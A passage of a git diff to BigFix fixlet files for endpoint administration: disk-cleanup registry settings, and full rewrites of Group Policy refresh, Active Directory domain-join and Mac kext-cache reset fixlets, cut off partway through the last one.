+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+
+else
+
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+
+endif
+
+waithidden cleanmgr /sagerun:1337</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes
index 744dd3bd1..3c1ccb465 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Group Policy Refresh - Windows
-  ID       : 22887
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-02T11:31:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Group Policy Refresh - Windows</Title>
-    <Description><![CDATA[<P>This will invoke a group policy refresh on the target endpoint.</P>
-<P><FONT color=#ff0000><STRONG>NOTE: </STRONG></FONT><FONT color=#000000>Performing a group policy refresh may cause a explorer to flash during a user session and it may drop a connected user's remote desktop session.</FONT></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
-    <Relevance>exists file &quot;gpupdate.exe&quot; of system folder</Relevance>
-    <Category>Group Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-22</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-override wait
-completion=job
-hidden=true
-wait cmd.exe /c &quot;echo n | gpupdate /target:computer /force /wait:120&quot;
-
-if {exists current user}
-	override wait
-	completion=job
-	hidden=true
-	runas=currentuser
-	wait cmd.exe /c &quot;echo n | gpupdate /target:user /force /wait:120&quot;
-endif</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Group Policy Refresh - Windows
+  ID       : 22887
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-02T11:31:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Group Policy Refresh - Windows</Title>
+    <Description><![CDATA[<P>This will invoke a group policy refresh on the target endpoint.</P>
+<P><FONT color=#ff0000><STRONG>NOTE: </STRONG></FONT><FONT color=#000000>Performing a group policy refresh may cause a explorer to flash during a user session and it may drop a connected user's remote desktop session.</FONT></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>exists file &quot;gpupdate.exe&quot; of system folder</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-22</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+override wait
+completion=job
+hidden=true
+wait cmd.exe /c &quot;echo n | gpupdate /target:computer /force /wait:120&quot;
+
+if {exists current user}
+	override wait
+	completion=job
+	hidden=true
+	runas=currentuser
+	wait cmd.exe /c &quot;echo n | gpupdate /target:user /force /wait:120&quot;
+endif</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes
index 945eea31a..a1fa58a87 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes	
@@ -1,99 +1,99 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Join Active Directory Domain - Windows
-  ID       : 23387
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-06T09:44:56
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Join Active Directory Domain - Windows</Title>
-    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
-<DIV id=paramFixletDescription>
-<P>Securely Domain Join a Windows Computer!</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
-loaded = false;
-var CODE_SITE_NAME = 'BES Support' ;
-function loadScript (siteName, callback) {
-loaded = false;
-var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
-var code = EvaluateRelevance(relevanceQuery);
-var head = document.getElementsByTagName("head")[0];
-var script   = document.createElement("script");
-script.type  = "text/javascript";
-script.text = code;
-head.appendChild(script);
-callback();
-}
-function scriptLoaded(){
-if (!loaded){
-if ( typeof FixletUtils !== 'undefined') {
-loaded = true;
-/*
-* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
-*/
-var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
-var messages = EvaluateRelevance(relQuery);
-var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
-var matches = regex.exec(messages);
-matches[1]=matches[1].replace(/<br>/gi,"");
-eval(matches[1]);
-FixletUtils.initFixletRender();
-} } }
-loadScript(CODE_SITE_NAME, scriptLoaded);
-</script> </DIV></DIV>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>string value of select &quot;Domain from Win32_ComputerSystem&quot; of wmi as lowercase = &quot;workgroup&quot;</Relevance>
-    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
-    <MIMEField>
-      <Name>parametermetadatatag</Name>
-      <Value>{    &quot;Section1&quot;:{       &quot;Name&quot;:&quot;ADConfiguration&quot;,       &quot;Title&quot;:&quot;AD Configuration&quot;,       &quot;UIType&quot;:&quot;accordion&quot;,       &quot;Values&quot;:[          {             &quot;Name&quot;:&quot;ADDomain&quot;,             &quot;Title&quot;:&quot;Active Directory Domain&quot;,             &quot;Description&quot;:&quot;Active Directory Domain&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;.\&quot; of substrings separated by \&quot;,DC=\&quot; of following texts of firsts \&quot;DC=\&quot; of it) whose (it != \&quot;\&quot;) of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          },          {             &quot;Name&quot;:&quot;ADUser&quot;,             &quot;Title&quot;:&quot;Active Directory Account Username&quot;,             &quot;Description&quot;:&quot;Active Directory Account Username&quot;,             &quot;UIType&quot;:&quot;TextBox&quot;,             &quot;Default&quot;:&quot;NetBIOS\\Username&quot;          },          {             &quot;Name&quot;:&quot;ADpwd&quot;,             &quot;Title&quot;:&quot;Active Directory Account Password&quot;,             &quot;Description&quot;:&quot;Active Directory Account Password&quot;,             &quot;UIType&quot;:&quot;Textbox&quot;,             &quot;Encrypt&quot;:&quot;true&quot;,             &quot;SubUIType&quot;:&quot;Password&quot;          },          {             &quot;Name&quot;:&quot;ADOU&quot;,             &quot;Title&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Description&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;;\&quot; of substrings separated by \&quot;,\&quot; of it) of following texts of firsts \&quot;,\&quot; of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          }       ]    } }</Value>
-    </MIMEField>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action24436">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-	$Username,
-	$Password
-)
-
-$domain = &quot;{parameter &quot;ADDomain&quot; of action}&quot;
-$OU = &quot;{(concatenations &quot;,&quot; of substrings separated by &quot;;&quot; of it) of parameter &quot;ADOU&quot; of action}&quot;
-
-$password = $Password | ConvertTo-SecureString -asPlainText -Force
-$credential = New-Object System.Management.Automation.PSCredential($username,$password)
-
-#Try Domain Join with OU -- will fail if object already exists
-Add-Computer -DomainName $domain -Credential $credential -OUPath $OU -ErrorAction silentlycontinue
-
-#Try Domain Join without OU
-Add-Computer -DomainName $domain -Credential $credential
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -Username &quot;{parameter &quot;ADUser&quot; of action}&quot; -Password &quot;{parameter &quot;ADPwd&quot; of action}&quot;
-
-action requires restart</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Join Active Directory Domain - Windows
+  ID       : 23387
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-06T09:44:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Join Active Directory Domain - Windows</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<DIV id=paramFixletDescription>
+<P>Securely Domain Join a Windows Computer!</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
+loaded = false;
+var CODE_SITE_NAME = 'BES Support' ;
+function loadScript (siteName, callback) {
+loaded = false;
+var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+var code = EvaluateRelevance(relevanceQuery);
+var head = document.getElementsByTagName("head")[0];
+var script   = document.createElement("script");
+script.type  = "text/javascript";
+script.text = code;
+head.appendChild(script);
+callback();
+}
+function scriptLoaded(){
+if (!loaded){
+if ( typeof FixletUtils !== 'undefined') {
+loaded = true;
+/*
+* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
+*/
+var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+var messages = EvaluateRelevance(relQuery);
+var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+var matches = regex.exec(messages);
+matches[1]=matches[1].replace(/<br>/gi,"");
+eval(matches[1]);
+FixletUtils.initFixletRender();
+} } }
+loadScript(CODE_SITE_NAME, scriptLoaded);
+</script> </DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>string value of select &quot;Domain from Win32_ComputerSystem&quot; of wmi as lowercase = &quot;workgroup&quot;</Relevance>
+    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>{    &quot;Section1&quot;:{       &quot;Name&quot;:&quot;ADConfiguration&quot;,       &quot;Title&quot;:&quot;AD Configuration&quot;,       &quot;UIType&quot;:&quot;accordion&quot;,       &quot;Values&quot;:[          {             &quot;Name&quot;:&quot;ADDomain&quot;,             &quot;Title&quot;:&quot;Active Directory Domain&quot;,             &quot;Description&quot;:&quot;Active Directory Domain&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;.\&quot; of substrings separated by \&quot;,DC=\&quot; of following texts of firsts \&quot;DC=\&quot; of it) whose (it != \&quot;\&quot;) of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          },          {             &quot;Name&quot;:&quot;ADUser&quot;,             &quot;Title&quot;:&quot;Active Directory Account Username&quot;,             &quot;Description&quot;:&quot;Active Directory Account Username&quot;,             &quot;UIType&quot;:&quot;TextBox&quot;,             &quot;Default&quot;:&quot;NetBIOS\\Username&quot;          },          {             &quot;Name&quot;:&quot;ADpwd&quot;,             &quot;Title&quot;:&quot;Active Directory Account Password&quot;,             &quot;Description&quot;:&quot;Active Directory Account Password&quot;,             &quot;UIType&quot;:&quot;Textbox&quot;,             &quot;Encrypt&quot;:&quot;true&quot;,             &quot;SubUIType&quot;:&quot;Password&quot;          },          {             &quot;Name&quot;:&quot;ADOU&quot;,             &quot;Title&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Description&quot;:&quot;Active Directory Organizational Unit&quot;,             &quot;Override&quot;:&quot;True&quot;,             &quot;ValueType&quot;:&quot;relevance&quot;,             &quot;UIType&quot;:&quot;Select&quot;,             &quot;Values&quot;:&quot;unique values of (concatenations \&quot;;\&quot; of substrings separated by \&quot;,\&quot; of it) of following texts of firsts \&quot;,\&quot; of values of results from (bes property \&quot;Active Directory Path\&quot;) of bes computers&quot;          }       ]    } }</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24436">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+	$Username,
+	$Password
+)
+
+$domain = &quot;{parameter &quot;ADDomain&quot; of action}&quot;
+$OU = &quot;{(concatenations &quot;,&quot; of substrings separated by &quot;;&quot; of it) of parameter &quot;ADOU&quot; of action}&quot;
+
+$password = $Password | ConvertTo-SecureString -asPlainText -Force
+$credential = New-Object System.Management.Automation.PSCredential($username,$password)
+
+#Try Domain Join with OU -- will fail if object already exists
+Add-Computer -DomainName $domain -Credential $credential -OUPath $OU -ErrorAction silentlycontinue
+
+#Try Domain Join without OU
+Add-Computer -DomainName $domain -Credential $credential
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -Username &quot;{parameter &quot;ADUser&quot; of action}&quot; -Password &quot;{parameter &quot;ADPwd&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes
index 6a09d5722..b96552e3a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Kernel Kext Cache Reset - Mac
-  ID       : 20530
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:13:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Kernel Kext Cache Reset - Mac</Title>
-    <Description><![CDATA[<P>Invokes a Kernel Kext Cache reset on Mac OS.</P>
-<P>Reseting the Kernel kext can often reduce the boot time of a Mac device but should only be done as a troubleshooting measure. The first reboot after reseting the kernel kext may take a little while longer.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>mac of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait sh -c &quot;kextcache -system-prelinked-kernel&quot;
-wait sh -c &quot;kextcache -system-caches&quot;</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Kernel Kext Cache Reset - Mac
+  ID       : 20530
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:13:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Kernel Kext Cache Reset - Mac</Title>
+    <Description><![CDATA[<P>Invokes a Kernel Kext Cache reset on Mac OS.</P>
+<P>Reseting the Kernel kext can often reduce the boot time of a Mac device but should only be done as a troubleshooting measure. The first reboot after reseting the kernel kext may take a little while longer.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-07</SourceReleaseDate>
+    <MIMEField>
